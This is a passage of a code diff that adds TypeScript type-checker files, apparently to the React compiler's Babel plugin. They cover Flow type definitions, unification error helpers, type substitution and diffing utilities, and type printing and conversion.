+  obj_kind: ObjKind;
+}
+
+// Property types
+export type Property =
+  | FieldProperty
+  | GetProperty
+  | SetProperty
+  | GetSetProperty
+  | MethodProperty;
+
+export interface FieldProperty {
+  kind: 'Field';
+  type: FlowType;
+  polarity: Polarity;
+}
+
+export interface GetProperty {
+  kind: 'Get';
+  type: FlowType;
+}
+
+export interface SetProperty {
+  kind: 'Set';
+  type: FlowType;
+}
+
+export interface GetSetProperty {
+  kind: 'GetSet';
+  get_type: FlowType;
+  set_type: FlowType;
+}
+
+export interface MethodProperty {
+  kind: 'Method';
+  type: FlowType;
+}
+
+// PropertyMap definition
+export interface PropertyMap {
+  [key: string]: Property; // For other properties in the map
+}
+
+// ObjType definition
+export interface ObjTypeObj {
+  flags: Flags;
+  props: PropertyMap;
+  proto_t: FlowType;
+  call_t: number | null;
+}
+
+// FunType definition
+export interface FunTypeObj {
+  this_t: {
+    type: FlowType;
+    status: ThisStatus;
+  };
+  params: Array<{
+    name: string | null;
+    type: FlowType;
+  }>;
+  rest_param: null | {
+    name: string | null;
+    type: FlowType;
+  };
+  return_t: FlowType;
+  type_guard: null | {
+    inferred: boolean;
+    param_name: string;
+    type_guard: FlowType;
+    one_sided: boolean;
+  };
+  effect: Effect;
+}
+
+// ThisStatus types
+export type ThisStatus =
+  | {kind: 'This_Method'; unbound: boolean}
+  | {kind: 'This_Function'};
+
+// Effect types
+export type Effect =
+  | {kind: 'HookDecl'; id: string}
+  | {kind: 'HookAnnot'}
+  | {kind: 'ArbitraryEffect'}
+  | {kind: 'AnyEffect'};
+
+// Destructor types
+export type Destructor =
+  | NonMaybeTypeDestructor
+  | PropertyTypeDestructor
+  | ElementTypeDestructor
+  | OptionalIndexedAccessNonMaybeTypeDestructor
+  | OptionalIndexedAccessResultTypeDestructor
+  | ExactTypeDestructor
+  | ReadOnlyTypeDestructor
+  | PartialTypeDestructor
+  | RequiredTypeDestructor
+  | SpreadTypeDestructor
+  | SpreadTupleTypeDestructor
+  | RestTypeDestructor
+  | ValuesTypeDestructor
+  | ConditionalTypeDestructor
+  | TypeMapDestructor
+  | ReactElementPropsTypeDestructor
+  | ReactElementConfigTypeDestructor
+  | ReactCheckComponentConfigDestructor
+  | ReactDRODestructor
+  | MakeHooklikeDestructor
+  | MappedTypeDestructor
+  | EnumTypeDestructor;
+
+export interface NonMaybeTypeDestructor {
+  kind: 'NonMaybeType';
+}
+
+export interface PropertyTypeDestructor {
+  kind: 'PropertyType';
+  name: string;
+}
+
+export interface ElementTypeDestructor {
+  kind: 'ElementType';
+  index_type: FlowType;
+}
+
+export interface OptionalIndexedAccessNonMaybeTypeDestructor {
+  kind: 'OptionalIndexedAccessNonMaybeType';
+  index: OptionalIndexedAccessIndex;
+}
+
+export type OptionalIndexedAccessIndex =
+  | {kind: 'StrLitIndex'; name: string}
+  | {kind: 'TypeIndex'; type: FlowType};
+
+export interface OptionalIndexedAccessResultTypeDestructor {
+  kind: 'OptionalIndexedAccessResultType';
+}
+
+export interface ExactTypeDestructor {
+  kind: 'ExactType';
+}
+
+export interface ReadOnlyTypeDestructor {
+  kind: 'ReadOnlyType';
+}
+
+export interface PartialTypeDestructor {
+  kind: 'PartialType';
+}
+
+export interface RequiredTypeDestructor {
+  kind: 'RequiredType';
+}
+
+export interface SpreadTypeDestructor {
+  kind: 'SpreadType';
+  target: SpreadTarget;
+  operands: Array<SpreadOperand>;
+  operand_slice: Slice | null;
+}
+
+export type SpreadTarget =
+  | {kind: 'Value'; make_seal: 'Sealed' | 'Frozen' | 'As_Const'}
+  | {kind: 'Annot'; make_exact: boolean};
+
+export type SpreadOperand = {kind: 'Type'; type: FlowType} | Slice;
+
+export interface Slice {
+  kind: 'Slice';
+  prop_map: PropertyMap;
+  generics: Array<string>;
+  dict: DictType | null;
+  reachable_targs: Array<{
+    type: FlowType;
+    polarity: Polarity;
+  }>;
+}
+
+export interface SpreadTupleTypeDestructor {
+  kind: 'SpreadTupleType';
+  inexact: boolean;
+  resolved_rev: string;
+  unresolved: string;
+}
+
+export interface RestTypeDestructor {
+  kind: 'RestType';
+  merge_mode: RestMergeMode;
+  type: FlowType;
+}
+
+export type RestMergeMode =
+  | {kind: 'SpreadReversal'}
+  | {kind: 'ReactConfigMerge'; polarity: Polarity}
+  | {kind: 'Omit'};
+
+export interface ValuesTypeDestructor {
+  kind: 'ValuesType';
+}
+
+export interface ConditionalTypeDestructor {
+  kind: 'ConditionalType';
+  distributive_tparam_name: string | null;
+  infer_tparams: string;
+  extends_t: FlowType;
+  true_t: FlowType;
+  false_t: FlowType;
+}
+
+export interface TypeMapDestructor {
+  kind: 'ObjectKeyMirror';
+}
+
+export interface ReactElementPropsTypeDestructor {
+  kind: 'ReactElementPropsType';
+}
+
+export interface ReactElementConfigTypeDestructor {
+  kind: 'ReactElementConfigType';
+}
+
+export interface ReactCheckComponentConfigDestructor {
+  kind: 'ReactCheckComponentConfig';
+  props: {
+    [key: string]: Property;
+  };
+}
+
+export interface ReactDRODestructor {
+  kind: 'ReactDRO';
+  dro_type:
+    | 'HookReturn'
+    | 'HookArg'
+    | 'Props'
+    | 'ImmutableAnnot'
+    | 'DebugAnnot';
+}
+
+export interface MakeHooklikeDestructor {
+  kind: 'MakeHooklike';
+}
+
+export interface MappedTypeDestructor {
+  kind: 'MappedType';
+  homomorphic: Homomorphic;
+  distributive_tparam_name: string | null;
+  property_type: FlowType;
+  mapped_type_flags: {
+    variance: Polarity;
+    optional: 'MakeOptional' | 'RemoveOptional' | 'KeepOptionality';
+  };
+}
+
+export type Homomorphic =
+  | {kind: 'Homomorphic'}
+  | {kind: 'Unspecialized'}
+  | {kind: 'SemiHomomorphic'; type: FlowType};
+
+export interface EnumTypeDestructor {
+  kind: 'EnumType';
+}
+
+// Union of all possible Flow types
+export type FlowType =
+  | OpenType
+  | DefType
+  | EvalType
+  | GenericType
+  | ThisInstanceType
+  | ThisTypeAppType
+  | TypeAppType
+  | FunProtoType
+  | ObjProtoType
+  | NullProtoType
+  | FunProtoBindType
+  | IntersectionType
+  | UnionType
+  | MaybeType
+  | OptionalType
+  | KeysType
+  | AnnotType
+  | OpaqueType
+  | NamespaceType
+  | AnyType
+  | StrUtilType;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Flood/TypeErrors.ts b/compiler/packages/babel-plugin-react-compiler/src/Flood/TypeErrors.ts
new file mode 100644
index 000000000000..fa3f551ff5fc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Flood/TypeErrors.ts
@@ -0,0 +1,131 @@
+import {CompilerError, SourceLocation} from '..';
+import {
+  ConcreteType,
+  printConcrete,
+  printType,
+  StructuralValue,
+  Type,
+  VariableId,
+} from './Types';
+
+export function unsupportedLanguageFeature(
+  desc: string,
+  loc: SourceLocation,
+): never {
+  CompilerError.throwInvalidJS({
+    reason: `Typedchecker does not currently support language feature: ${desc}`,
+    loc,
+  });
+}
+
+export type UnificationError =
+  | {
+      kind: 'TypeUnification';
+      left: ConcreteType<Type>;
+      right: ConcreteType<Type>;
+    }
+  | {
+      kind: 'StructuralUnification';
+      left: StructuralValue;
+      right: ConcreteType<Type>;
+    };
+
+function printUnificationError(err: UnificationError): string {
+  if (err.kind === 'TypeUnification') {
+    return `${printConcrete(err.left, printType)} is incompatible with ${printConcrete(err.right, printType)}`;
+  } else {
+    return `structural ${err.left.kind} is incompatible with ${printConcrete(err.right, printType)}`;
+  }
+}
+
+export function raiseUnificationErrors(
+  errs: null | Array<UnificationError>,
+  loc: SourceLocation,
+): void {
+  if (errs != null) {
+    if (errs.length === 0) {
+      CompilerError.invariant(false, {
+        reason: 'Should not have array of zero errors',
+        loc,
+      });
+    } else if (errs.length === 1) {
+      CompilerError.throwInvalidJS({
+        reason: `Unable to unify types because ${printUnificationError(errs[0])}`,
+        loc,
+      });
+    } else {
+      const messages = errs
+        .map(err => `\t* ${printUnificationError(err)}`)
+        .join('\n');
+      CompilerError.throwInvalidJS({
+        reason: `Unable to unify types because:\n${messages}`,
+        loc,
+      });
+    }
+  }
+}
+
+export function unresolvableTypeVariable(
+  id: VariableId,
+  loc: SourceLocation,
+): never {
+  CompilerError.throwInvalidJS({
+    reason: `Unable to resolve free variable ${id} to a concrete type`,
+    loc,
+  });
+}
+
+export function cannotAddVoid(explicit: boolean, loc: SourceLocation): never {
+  if (explicit) {
+    CompilerError.throwInvalidJS({
+      reason: `Undefined is not a valid operand of \`+\``,
+      loc,
+    });
+  } else {
+    CompilerError.throwInvalidJS({
+      reason: `Value may be undefined, which is not a valid operand of \`+\``,
+      loc,
+    });
+  }
+}
+
+export function unsupportedTypeAnnotation(
+  desc: string,
+  loc: SourceLocation,
+): never {
+  CompilerError.throwInvalidJS({
+    reason: `Typedchecker does not currently support type annotation: ${desc}`,
+    loc,
+  });
+}
+
+export function checkTypeArgumentArity(
+  desc: string,
+  expected: number,
+  actual: number,
+  loc: SourceLocation,
+): void {
+  if (expected !== actual) {
+    CompilerError.throwInvalidJS({
+      reason: `Expected ${desc} to have ${expected} type parameters, got ${actual}`,
+      loc,
+    });
+  }
+}
+
+export function notAFunction(desc: string, loc: SourceLocation): void {
+  CompilerError.throwInvalidJS({
+    reason: `Cannot call ${desc} because it is not a function`,
+    loc,
+  });
+}
+
+export function notAPolymorphicFunction(
+  desc: string,
+  loc: SourceLocation,
+): void {
+  CompilerError.throwInvalidJS({
+    reason: `Cannot call ${desc} with type arguments because it is not a polymorphic function`,
+    loc,
+  });
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Flood/TypeUtils.ts b/compiler/packages/babel-plugin-react-compiler/src/Flood/TypeUtils.ts
new file mode 100644
index 000000000000..0a514f090d2a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Flood/TypeUtils.ts
@@ -0,0 +1,312 @@
+import {GeneratedSource} from '../HIR';
+import {assertExhaustive} from '../Utils/utils';
+import {unsupportedLanguageFeature} from './TypeErrors';
+import {
+  ConcreteType,
+  ResolvedType,
+  TypeParameter,
+  TypeParameterId,
+  DEBUG,
+  printConcrete,
+  printType,
+} from './Types';
+
+export function substitute(
+  type: ConcreteType<ResolvedType>,
+  typeParameters: Array<TypeParameter<ResolvedType>>,
+  typeArguments: Array<ResolvedType>,
+): ResolvedType {
+  const substMap = new Map<TypeParameterId, ResolvedType>();
+  for (let i = 0; i < typeParameters.length; i++) {
+    // TODO: Length checks to make sure type params match up with args
+    const typeParameter = typeParameters[i];
+    const typeArgument = typeArguments[i];
+    substMap.set(typeParameter.id, typeArgument);
+  }
+  const substitutionFunction = (t: ResolvedType): ResolvedType => {
+    // TODO: We really want a stateful mapper or visitor here so that we can model nested polymorphic types
+    if (t.type.kind === 'Generic' && substMap.has(t.type.id)) {
+      const substitutedType = substMap.get(t.type.id)!;
+      return substitutedType;
+    }
+
+    return {
+      kind: 'Concrete',
+      type: mapType(substitutionFunction, t.type),
+      platform: t.platform,
+    };
+  };
+
+  const substituted = mapType(substitutionFunction, type);
+
+  if (DEBUG) {
+    let substs = '';
+    for (let i = 0; i < typeParameters.length; i++) {
+      const typeParameter = typeParameters[i];
+      const typeArgument = typeArguments[i];
+      substs += `[${typeParameter.name}${typeParameter.id} := ${printType(typeArgument)}]`;
+    }
+    console.log(
+      `${printConcrete(type, printType)}${substs} = ${printConcrete(substituted, printType)}`,
+    );
+  }
+
+  return {kind: 'Concrete', type: substituted, platform: /* TODO */ 'shared'};
+}
+
+export function mapType<T, U>(
+  f: (t: T) => U,
+  type: ConcreteType<T>,
+): ConcreteType<U> {
+  switch (type.kind) {
+    case 'Mixed':
+    case 'Number':
+    case 'String':
+    case 'Boolean':
+    case 'Void':
+      return type;
+
+    case 'Nullable':
+      return {
+        kind: 'Nullable',
+        type: f(type.type),
+      };
+
+    case 'Array':
+      return {
+        kind: 'Array',
+        element: f(type.element),
+      };
+
+    case 'Set':
+      return {
+        kind: 'Set',
+        element: f(type.element),
+      };
+
+    case 'Map':
+      return {
+        kind: 'Map',
+        key: f(type.key),
+        value: f(type.value),
+      };
+
+    case 'Function':
+      return {
+        kind: 'Function',
+        typeParameters:
+          type.typeParameters?.map(param => ({
+            id: param.id,
+            name: param.name,
+            bound: f(param.bound),
+          })) ?? null,
+        params: type.params.map(f),
+        returnType: f(type.returnType),
+      };
+
+    case 'Component': {
+      return {
+        kind: 'Component',
+        children: type.children != null ? f(type.children) : null,
+        props: new Map([...type.props.entries()].map(([k, v]) => [k, f(v)])),
+      };
+    }
+
+    case 'Generic':
+      return {
+        kind: 'Generic',
+        id: type.id,
+        bound: f(type.bound),
+      };
+
+    case 'Object':
+      return type;
+
+    case 'Tuple':
+      return {
+        kind: 'Tuple',
+        id: type.id,
+        members: type.members.map(f),
+      };
+
+    case 'Structural':
+      return type;
+
+    case 'Enum':
+    case 'Union':
+    case 'Instance':
+      unsupportedLanguageFeature(type.kind, GeneratedSource);
+
+    default:
+      assertExhaustive(type, 'Unknown type kind');
+  }
+}
+
+export function diff<R, T>(
+  a: ConcreteType<T>,
+  b: ConcreteType<T>,
+  onChild: (a: T, b: T) => R,
+  onChildMismatch: (child: R, cur: R) => R,
+  onMismatch: (a: ConcreteType<T>, b: ConcreteType<T>, cur: R) => R,
+  init: R,
+): R {
+  let errors = init;
+
+  // Check if kinds match
+  if (a.kind !== b.kind) {
+    errors = onMismatch(a, b, errors);
+    return errors;
+  }
+
+  // Based on kind, check other properties
+  switch (a.kind) {
+    case 'Mixed':
+    case 'Number':
+    case 'String':
+    case 'Boolean':
+    case 'Void':
+      // Simple types, no further checks needed
+      break;
+
+    case 'Nullable':
+      // Check the nested type
+      errors = onChildMismatch(onChild(a.type, (b as typeof a).type), errors);
+      break;
+
+    case 'Array':
+    case 'Set':
+      // Check the element type
+      errors = onChildMismatch(
+        onChild(a.element, (b as typeof a).element),
+        errors,
+      );
+      break;
+
+    case 'Map':
+      // Check both key and value types
+      errors = onChildMismatch(onChild(a.key, (b as typeof a).key), errors);
+      errors = onChildMismatch(onChild(a.value, (b as typeof a).value), errors);
+      break;
+
+    case 'Function': {
+      const bFunc = b as typeof a;
+
+      // Check type parameters
+      if ((a.typeParameters == null) !== (bFunc.typeParameters == null)) {
+        errors = onMismatch(a, b, errors);
+      }
+
+      if (a.typeParameters != null && bFunc.typeParameters != null) {
+        if (a.typeParameters.length !== bFunc.typeParameters.length) {
+          errors = onMismatch(a, b, errors);
+        }
+
+        // Type parameters are just numbers, so we can compare them directly
+        for (let i = 0; i < a.typeParameters.length; i++) {
+          if (a.typeParameters[i] !== bFunc.typeParameters[i]) {
+            errors = onMismatch(a, b, errors);
+          }
+        }
+      }
+
+      // Check parameters
+      if (a.params.length !== bFunc.params.length) {
+        errors = onMismatch(a, b, errors);
+      }
+
+      for (let i = 0; i < a.params.length; i++) {
+        errors = onChildMismatch(onChild(a.params[i], bFunc.params[i]), errors);
+      }
+
+      // Check return type
+      errors = onChildMismatch(onChild(a.returnType, bFunc.returnType), errors);
+      break;
+    }
+
+    case 'Component': {
+      const bComp = b as typeof a;
+
+      // Check children
+      if (a.children !== bComp.children) {
+        errors = onMismatch(a, b, errors);
+      }
+
+      // Check props
+      if (a.props.size !== bComp.props.size) {
+        errors = onMismatch(a, b, errors);
+      }
+
+      for (const [k, v] of a.props) {
+        const bProp = bComp.props.get(k);
+        if (bProp == null) {
+          errors = onMismatch(a, b, errors);
+        } else {
+          errors = onChildMismatch(onChild(v, bProp), errors);
+        }
+      }
+
+      break;
+    }
+
+    case 'Generic': {
+      // Check that the type parameter IDs match
+      if (a.id !== (b as typeof a).id) {
+        errors = onMismatch(a, b, errors);
+      }
+      break;
+    }
+    case 'Structural': {
+      const bStruct = b as typeof a;
+
+      // Check that the structural IDs match
+      if (a.id !== bStruct.id) {
+        errors = onMismatch(a, b, errors);
+      }
+      break;
+    }
+    case 'Object': {
+      const bNom = b as typeof a;
+
+      // Check that the nominal IDs match
+      if (a.id !== bNom.id) {
+        errors = onMismatch(a, b, errors);
+      }
+      break;
+    }
+
+    case 'Tuple': {
+      const bTuple = b as typeof a;
+
+      // Check that the tuple IDs match
+      if (a.id !== bTuple.id) {
+        errors = onMismatch(a, b, errors);
+      }
+      for (let i = 0; i < a.members.length; i++) {
+        errors = onChildMismatch(
+          onChild(a.members[i], bTuple.members[i]),
+          errors,
+        );
+      }
+
+      break;
+    }
+
+    case 'Enum':
+    case 'Instance':
+    case 'Union': {
+      unsupportedLanguageFeature(a.kind, GeneratedSource);
+    }
+
+    default:
+      assertExhaustive(a, 'Unknown type kind');
+  }
+
+  return errors;
+}
+
+export function filterOptional(t: ResolvedType): ResolvedType {
+  if (t.kind === 'Concrete' && t.type.kind === 'Nullable') {
+    return t.type.type;
+  }
+  return t;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Flood/Types.ts b/compiler/packages/babel-plugin-react-compiler/src/Flood/Types.ts
new file mode 100644
index 000000000000..c2484004df35
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Flood/Types.ts
@@ -0,0 +1,994 @@
+import {CompilerError, SourceLocation} from '..';
+import {
+  Environment,
+  GeneratedSource,
+  HIRFunction,
+  Identifier,
+  IdentifierId,
+} from '../HIR';
+import * as t from '@babel/types';
+import * as TypeErrors from './TypeErrors';
+import {assertExhaustive} from '../Utils/utils';
+import {FlowType} from './FlowTypes';
+
+export const DEBUG = false;
+
+export type Type =
+  | {kind: 'Concrete'; type: ConcreteType<Type>; platform: Platform}
+  | {kind: 'Variable'; id: VariableId};
+
+export type ResolvedType = {
+  kind: 'Concrete';
+  type: ConcreteType<ResolvedType>;
+  platform: Platform;
+};
+
+export type ComponentType<T> = {
+  kind: 'Component';
+  props: Map<string, T>;
+  children: null | T;
+};
+export type ConcreteType<T> =
+  | {kind: 'Enum'}
+  | {kind: 'Mixed'}
+  | {kind: 'Number'}
+  | {kind: 'String'}
+  | {kind: 'Boolean'}
+  | {kind: 'Void'}
+  | {kind: 'Nullable'; type: T}
+  | {kind: 'Array'; element: T}
+  | {kind: 'Set'; element: T}
+  | {kind: 'Map'; key: T; value: T}
+  | {
+      kind: 'Function';
+      typeParameters: null | Array<TypeParameter<T>>;
+      params: Array<T>;
+      returnType: T;
+    }
+  | ComponentType<T>
+  | {kind: 'Generic'; id: TypeParameterId; bound: T}
+  | {
+      kind: 'Object';
+      id: NominalId;
+      members: Map<string, ResolvedType>;
+    }
+  | {
+      kind: 'Tuple';
+      id: NominalId;
+      members: Array<T>;
+    }
+  | {kind: 'Structural'; id: LinearId}
+  | {kind: 'Union'; members: Array<T>}
+  | {kind: 'Instance'; name: string; members: Map<string, ResolvedType>};
+
+export type StructuralValue =
+  | {
+      kind: 'Function';
+      fn: HIRFunction;
+    }
+  | {
+      kind: 'Object';
+      members: Map<string, ResolvedType>;
+    }
+  | {
+      kind: 'Array';
+      elementType: ResolvedType;
+    };
+
+export type Structural = {
+  type: StructuralValue;
+  consumed: boolean;
+};
+// TODO: create a kind: "Alias"
+
+// type T<X> = { foo: X}
+
+/**
+ *
+ * function apply<A, B>(x: A, f: A => B): B { }
+ *
+ * apply(42, x => String(x));
+ *
+ * f({foo: 42})
+ *
+ * f([HOLE]) -----> {foo: 42} with context NominalType
+ *
+ * $0 = Object {foo: 42}
+ * $1 = LoadLocal "f"
+ * $2 = Call $1, [$0]
+ *
+ * ContextMap:
+ *   $2 => ??
+ *   $1 => [HOLE]($0)
+ *   $0 => $1([HOLE])
+ */
+
+/*
+ *const g = {foo: 42} as NominalType // ok
+ *
+ *
+ *function f(x: NominalType) { ... }
+ *f()
+ *
+ *const y: NominalType = {foo: 42}
+ *
+ *
+ */
+
+/**
+ * // Mike: maybe this could be the ideal?
+ *type X = nominal('registryNameX', {
+ *value: number,
+ *});
+ *
+ * // For now:
+ *opaque type X = {   // creates a new nominal type
+ *value: number,
+ *};
+ *
+ *type Y = X; // creates a type alias
+ *
+ *type Z = number; // creates a type alias
+ *
+ *
+ * // (todo: disallowed)
+ *type X' = {
+ *value: number,
+ *}
+ */
+
+export type TypeParameter<T> = {
+  name: string;
+  id: TypeParameterId;
+  bound: T;
+};
+
+const opaqueLinearId = Symbol();
+export type LinearId = number & {
+  [opaqueLinearId]: 'LinearId';
+};
+
+export function makeLinearId(id: number): LinearId {
+  CompilerError.invariant(id >= 0 && Number.isInteger(id), {
+    reason: 'Expected LinearId id to be a non-negative integer',
+    loc: GeneratedSource,
+  });
+  return id as LinearId;
+}
+
+const opaqueTypeParameterId = Symbol();
+export type TypeParameterId = number & {
+  [opaqueTypeParameterId]: 'TypeParameterId';
+};
+
+export function makeTypeParameterId(id: number): TypeParameterId {
+  CompilerError.invariant(id >= 0 && Number.isInteger(id), {
+    reason: 'Expected TypeParameterId to be a non-negative integer',
+    loc: GeneratedSource,
+  });
+  return id as TypeParameterId;
+}
+
+const opaqueNominalId = Symbol();
+export type NominalId = number & {
+  [opaqueNominalId]: 'NominalId';
+};
+
+export function makeNominalId(id: number): NominalId {
+  return id as NominalId;
+}
+
+const opaqueVariableId = Symbol();
+export type VariableId = number & {
+  [opaqueVariableId]: 'VariableId';
+};
+
+export function makeVariableId(id: number): VariableId {
+  CompilerError.invariant(id >= 0 && Number.isInteger(id), {
+    reason: 'Expected VariableId id to be a non-negative integer',
+    loc: GeneratedSource,
+  });
+  return id as VariableId;
+}
+
+export function printConcrete<T>(
+  type: ConcreteType<T>,
+  printType: (_: T) => string,
+): string {
+  switch (type.kind) {
+    case 'Mixed':
+      return 'mixed';
+    case 'Number':
+      return 'number';
+    case 'String':
+      return 'string';
+    case 'Boolean':
+      return 'boolean';
+    case 'Void':
+      return 'void';
+    case 'Nullable':
+      return `${printType(type.type)} | void`;
+    case 'Array':
+      return `Array<${printType(type.element)}>`;
+    case 'Set':
+      return `Set<${printType(type.element)}>`;
+    case 'Map':
+      return `Map<${printType(type.key)}, ${printType(type.value)}>`;
+    case 'Function': {
+      const typeParams = type.typeParameters
+        ? `<${type.typeParameters.map(tp => `T${tp}`).join(', ')}>`
+        : '';
+      const params = type.params.map(printType).join(', ');
+      const returnType = printType(type.returnType);
+      return `${typeParams}(${params}) => ${returnType}`;
+    }
+    case 'Component': {
+      const params = [...type.props.entries()]
+        .map(([k, v]) => `${k}: ${printType(v)}`)
+        .join(', ');
+      const comma = type.children != null && type.props.size > 0 ? ', ' : '';
+      const children =
+        type.children != null ? `children: ${printType(type.children)}` : '';
+      return `component (${params}${comma}${children})`;
+    }
+    case 'Generic':
+      return `T${type.id}`;
+    case 'Object': {
+      const name = `Object [${[...type.members.keys()].map(key => JSON.stringify(key)).join(', ')}]`;
+      return `${name}`;
+    }
+    case 'Tuple': {
+      const name = `Tuple ${type.members}`;
+      return `${name}`;
+    }
+    case 'Structural': {
+      const name = `Structural ${type.id}`;
+      return `${name}`;
+    }
+    case 'Enum': {
+      return 'TODO enum printing';
+    }
+    case 'Union': {
+      return type.members.map(printType).join(' | ');
+    }
+    case 'Instance': {
+      return type.name;
+    }
+    default:
+      assertExhaustive(type, `Unknown type: ${JSON.stringify(type)}`);
+  }
+}
+
+export function printType(type: Type): string {
+  switch (type.kind) {
+    case 'Concrete':
+      return printConcrete(type.type, printType);
+    case 'Variable':
+      return `$${type.id}`;
+    default:
+      assertExhaustive(type, `Unknown type: ${JSON.stringify(type)}`);
+  }
+}
+
+export function printResolved(type: ResolvedType): string {
+  return printConcrete(type.type, printResolved);
+}
+
+type Platform = 'client' | 'server' | 'shared';
+
+const DUMMY_NOMINAL = makeNominalId(0);
+
+function convertFlowType(flowType: FlowType, loc: string): ResolvedType {
+  let nextGenericId = 0;
+  function convertFlowTypeImpl(
+    flowType: FlowType,
+    loc: string,
+    genericEnv: Map<string, TypeParameterId>,
+    platform: Platform,
+    poly: null | Array<TypeParameter<ResolvedType>> = null,
+  ): ResolvedType {
+    switch (flowType.kind) {
+      case 'TypeApp': {
+        if (
+          flowType.type.kind === 'Def' &&
+          flowType.type.def.kind === 'Poly' &&
+          flowType.type.def.t_out.kind === 'Def' &&
+          flowType.type.def.t_out.def.kind === 'Type' &&
+          flowType.type.def.t_out.def.type.kind === 'Opaque' &&
+          flowType.type.def.t_out.def.type.opaquetype.opaque_name ===
+            'Client' &&
+          flowType.targs.length === 1
+        ) {
+          return convertFlowTypeImpl(
+            flowType.targs[0],
+            loc,
+            genericEnv,
+            'client',
+          );
+        } else if (
+          flowType.type.kind === 'Def' &&
+          flowType.type.def.kind === 'Poly' &&
+          flowType.type.def.t_out.kind === 'Def' &&
+          flowType.type.def.t_out.def.kind === 'Type' &&
+          flowType.type.def.t_out.def.type.kind === 'Opaque' &&
+          flowType.type.def.t_out.def.type.opaquetype.opaque_name ===
+            'Server' &&
+          flowType.targs.length === 1
+        ) {
+          return convertFlowTypeImpl(
+            flowType.targs[0],
+            loc,
+            genericEnv,
+            'server',
+          );
+        }
+        return Resolved.todo(platform);
+      }
+      case 'Open':
+        return Resolved.mixed(platform);
+      case 'Any':
+        return Resolved.todo(platform);
+      case 'Annot':
+        return convertFlowTypeImpl(
+          flowType.type,
+          loc,
+          genericEnv,
+          platform,
+          poly,
+        );
+      case 'Opaque': {
+        if (
+          flowType.opaquetype.opaque_name === 'Client' &&
+          flowType.opaquetype.super_t != null
+        ) {
+          return convertFlowTypeImpl(
+            flowType.opaquetype.super_t,
+            loc,
+            genericEnv,
+            'client',
+          );
+        }
+        if (
+          flowType.opaquetype.opaque_name === 'Server' &&
+          flowType.opaquetype.super_t != null
+        ) {
+          return convertFlowTypeImpl(
+            flowType.opaquetype.super_t,
+            loc,
+            genericEnv,
+            'server',
+          );
+        }
+        const t =
+          flowType.opaquetype.underlying_t ?? flowType.opaquetype.super_t;
+        if (t != null) {
+          return convertFlowTypeImpl(t, loc, genericEnv, platform, poly);
+        } else {
+          return Resolved.todo(platform);
+        }
+      }
+      case 'Def': {
+        switch (flowType.def.kind) {
+          case 'EnumValue':
+            return convertFlowTypeImpl(
+              flowType.def.enum_info.representation_t,
+              loc,
+              genericEnv,
+              platform,
+              poly,
+            );
+          case 'EnumObject':
+            return Resolved.enum(platform);
+          case 'Empty':
+            return Resolved.todo(platform);
+          case 'Instance': {
+            const members = new Map<string, ResolvedType>();
+            for (const key in flowType.def.instance.inst.own_props) {
+              const prop = flowType.def.instance.inst.own_props[key];
+              if (prop.kind === 'Field') {
+                members.set(
+                  key,
+                  convertFlowTypeImpl(prop.type, loc, genericEnv, platform),
+                );
+              } else {
+                CompilerError.invariant(false, {
+                  reason: `Unsupported property kind ${prop.kind}`,
+                  loc: GeneratedSource,
+                });
+              }
+            }
+            return Resolved.class(
+              flowType.def.instance.inst.class_name ?? '[anonymous class]',
+              members,
+              platform,
+            );
+          }
+          case 'Type':
+            return convertFlowTypeImpl(
+              flowType.def.type,
+              loc,
+              genericEnv,
+              platform,
+              poly,
+            );
+          case 'NumGeneral':
+          case 'SingletonNum':
+            return Resolved.number(platform);
+          case 'StrGeneral':
+          case 'SingletonStr':
+            return Resolved.string(platform);
+          case 'BoolGeneral':
+          case 'SingletonBool':
+            return Resolved.boolean(platform);
+          case 'Void':
+            return Resolved.void(platform);
+          case 'Null':
+            return Resolved.void(platform);
+          case 'Mixed':
+            return Resolved.mixed(platform);
+          case 'Arr': {
+            if (
+              flowType.def.arrtype.kind === 'ArrayAT' ||
+              flowType.def.arrtype.kind === 'ROArrayAT'
+            ) {
+              return Resolved.array(
+                convertFlowTypeImpl(
+                  flowType.def.arrtype.elem_t,
+                  loc,
+                  genericEnv,
+                  platform,
+                ),
+                platform,
+              );
+            } else {
+              return Resolved.tuple(
+                DUMMY_NOMINAL,
+                flowType.def.arrtype.elements.map(t =>
+                  convertFlowTypeImpl(t.t, loc, genericEnv, platform),
+                ),
+                platform,
+              );
+            }
+          }
+          case 'Obj': {
+            const members = new Map<string, ResolvedType>();
+            for (const key in flowType.def.objtype.props) {
+              const prop = flowType.def.objtype.props[key];
+              if (prop.kind === 'Field') {
+                members.set(
+                  key,
+                  convertFlowTypeImpl(prop.type, loc, genericEnv, platform),
+                );
+              } else {
+                CompilerError.invariant(false, {
+                  reason: `Unsupported property kind ${prop.kind}`,
+                  loc: GeneratedSource,
+                });
+              }
+            }
+            return Resolved.object(DUMMY_NOMINAL, members, platform);
+          }
+          case 'Class': {
+            if (flowType.def.type.kind === 'ThisInstance') {
+              const members = new Map<string, ResolvedType>();
+              for (const key in flowType.def.type.instance.inst.own_props) {
+                const prop = flowType.def.type.instance.inst.own_props[key];
+                if (prop.kind === 'Field') {
+                  members.set(
+                    key,
+                    convertFlowTypeImpl(prop.type, loc, genericEnv, platform),
+                  );
+                } else {
+                  CompilerError.invariant(false, {
+                    reason: `Unsupported property kind ${prop.kind}`,
+                    loc: GeneratedSource,
+                  });
+                }
+              }
+              return Resolved.class(
+                flowType.def.type.instance.inst.class_name ??
+                  '[anonymous class]',
+                members,
+                platform,
+              );
+            }
+            CompilerError.invariant(false, {
+              reason: `Unsupported class instance type ${flowType.def.type.kind}`,
+              loc: GeneratedSource,
+            });
+          }
+          case 'Fun':
+            return Resolved.function(
+              poly,
+              flowType.def.funtype.params.map(p =>
+                convertFlowTypeImpl(p.type, loc, genericEnv, platform),
+              ),
+              convertFlowTypeImpl(
+                flowType.def.funtype.return_t,
+                loc,
+                genericEnv,
+                platform,
+              ),
+              platform,
+            );
+          case 'Poly': {
+            let newEnv = genericEnv;
+            const poly = flowType.def.tparams.map(p => {
+              const id = makeTypeParameterId(nextGenericId++);
+              const bound = convertFlowTypeImpl(p.bound, loc, newEnv, platform);
+              newEnv = new Map(newEnv);
+              newEnv.set(p.name, id);
+              return {
+                name: p.name,
+                id,
+                bound,
+              };
+            });
+            return convertFlowTypeImpl(
+              flowType.def.t_out,
+              loc,
